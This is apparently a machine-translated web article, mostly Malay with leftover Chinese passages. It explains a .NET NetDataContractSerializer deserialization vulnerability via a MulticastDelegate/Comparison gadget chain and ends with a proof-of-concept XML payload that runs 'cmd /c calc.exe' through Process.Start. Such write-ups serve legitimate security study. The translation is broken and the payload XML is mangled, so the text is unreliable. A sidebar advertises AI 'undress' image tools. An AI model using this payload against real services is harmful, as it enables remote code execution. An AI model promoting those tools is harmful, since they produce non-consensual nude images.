


Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer
1. Prakata
NetDataContractSerializer, seperti DataContractSerializer, digunakan untuk mensiri dan menyahsiri data yang dihantar dalam mesej Windows Communication Foundation (WCF). Terdapat perbezaan penting antara kedua-duanya: NetDataContractSerializer termasuk CLR dan menyokong ketepatan jenis dengan menambahkan maklumat tambahan dan menyimpan rujukan kepada jenis CLR, manakala DataContractSerializer tidak. Oleh itu, NetDataContractSerializer hanya boleh digunakan jika jenis CLR yang sama digunakan pada bahagian bersiri dan penyahserikatan. Untuk mensirikan objek menggunakan kaedah WriteObject atau Serialize, dan untuk menyahsiri aliran XML gunakan kaedah ReadObject atau Deserialize. Dalam sesetengah senario, membaca aliran XML yang berniat jahat akan menyebabkan kerentanan penyahserialisasian, dengan itu mencapai serangan RCE jauh Pengarang artikel ini telah memperkenalkan dan mengeluarkannya dari perspektif prinsip dan pengauditan kod.
2. Bersiri NetDataContractSerializer
Menggunakan WriteObject atau Serialize boleh merealisasikan penukaran antara objek .NET dan data XML dengan mudah pemasangan dan jenis jenis yang bersiri. Maklumat tambahan ini boleh digunakan untuk menyahsiri XML kepada jenis khas, membenarkan jenis yang sama digunakan pada kedua-dua klien dan pelayan. Maklumat tambahan ialah atribut z:Id mempunyai makna yang berbeza pada elemen yang berbeza. Ini digunakan untuk mengendalikan jenis rujukan dan sama ada rujukan boleh dikekalkan apabila XML dinyahsiri Kesimpulan terakhir ialah output ini mengandungi lebih banyak maklumat daripada output DataContractSerializer. Berikut ialah contoh untuk menggambarkan masalah Pertama, tentukan objek TestClass
Objek TestClass mentakrifkan tiga ahli dan melaksanakan kaedah statik ClassMethod untuk memulakan proses. Serialization memberikan nilai kepada ahli dengan membuat kejadian objek masing-masing
Pengarang menggunakan Serialize untuk mendapatkan data xml selepas mensiri kelas TestClass
<testclass><age>18</age><classname>360</classname><name>Ivan1ee</name></testclass>
3. NetDataContractSerializer Deserialization
3.1 Prinsip dan penggunaan deserialization
Proses penyahserikatan kelas NetDataContractSerializer adalah untuk menukar aliran XML menjadi objek dan memanggil pelbagai kaedah terlebih beban ReadObject atau Serialize dengan mencipta pelaksanaan kaedah baru, semak definisi dan ketahui bahawa ia mewarisi daripada kelas abstrak XmlObjectSerializer dan antara muka IFormatter
kelas NetDataContractSerializer melaksanakan kaedah WriteObject dan ReadObject dalam abstrak XmlObjectSerializer. kelas, dan juga melaksanakan kaedah IFormatter yang ditakrifkan dalam. Kod pelaksanaan khusus pengarang yang memanggil kaedah Deserialize dengan mencipta objek baharu boleh dirujuk kepada yang berikut
Malah, kaedah ReadObject juga dipanggil dalam kaedah Deserialize untuk penyahserialisasian
Semasa proses penyahserikatan, kaedah ReadObject digunakan untuk memanggil kaedah ReadObjectHandleExceptions, meninggalkan beberapa kod bukan teras, memasukkan badan kaedah InternalReadObject dan penyahsiran untuk mendapatkan sifat objek, dan mencetak nilai Nama ahli.
3.2 Vektor serangan—MulticastDelegate
Delegasi Berbilang Siar (MulticastDelegate) mewarisi daripada Delegate, dan senarai panggilannya boleh mempunyai perwakilan dengan berbilang elemen jenis perwakilan di atas diperoleh daripada MulticastDelegate. Medan _invocationList kelas MulticastDelegate akan merujuk tatasusunan delegasi semasa membina rantaian delegasi Walau bagaimanapun, untuk mendapatkan lebih kawalan ke atas rantaian perwakilan, anda mesti menggunakan kaedah GetInvocationList Ia mempunyai senarai perwakilan dengan pautan dan memanggil contoh perwakilan . Apabila tiba masanya, panggilan segerak akan dibuat mengikut susunan perwakilan dalam senarai, jadi bagaimana untuk menambah calc.exe ke kaedah senarai GetInvocationList? Mula-mula lihat kelas Perbandingan
Kelas Perbandingan mengembalikan perwakilan, dan kemudian menggunakan kelas Perwakilan atau MulticastDelegate Kaedah statik awam Combine menambah perwakilan kepada rantai sebagai pembanding jenis untuk Perbandingan
使用Comparer
多路广播委托的调用列表GetInvocationList方法在内部构造并初始化一个数组,让它的每个元素都引用链中的一个委托,然后返回对该数组的引用,下面代码修改了私有字段_InvocationList并用泛型委托Func返回Process类。
最后传入攻击载荷后得到完整序列化后的poc,如下
四、代码审计
4.1 Deserialize
从代码审计的角度只需找到可控的Path路径就可以被反序列化,例如以下场景:
4.2 ReadObject
上面两种方式都是很常见的,需要重点关注。
五、复盘
1. 代码中实现读取本地文件内容
2. 传递poc xml,弹出计算器网页返回200
1. <arrayofstring><count>2</count> ><comparer><_comparison><delegate><assembly>mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089</assembly> ><delegateentry><assemblyz:ref></assemblyz:ref><methodname>Compare</methodname> ><target></target><targettypename>System.String a:targetTypeName >System.Comparison`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > a:delegateEntry >Start a:methodName >System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089 >System.Diagnostics.Process a:targetTypeName >System.Func`3[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process,System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > Delegate >System.Diagnostics.Process Start(System.String,System.String) Signature >System.Diagnostics.ProcessStart(System.String, System.String) Signature2 >8 MemberType ><genericarguments></genericarguments> method0 >Int32 Compare(System.String, System.String) Signature >System.Int32 Compare(System.String,System.String) >8 MemberType > method1 > _comparison > Comparer >2 Version >/c calc.exe string >cmd string > Items > ArrayOfstring ></targettypename></delegateentry></delegate></_comparison></comparer></arrayofstring>
最后附上动态效果图
Atas ialah kandungan terperinci Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas

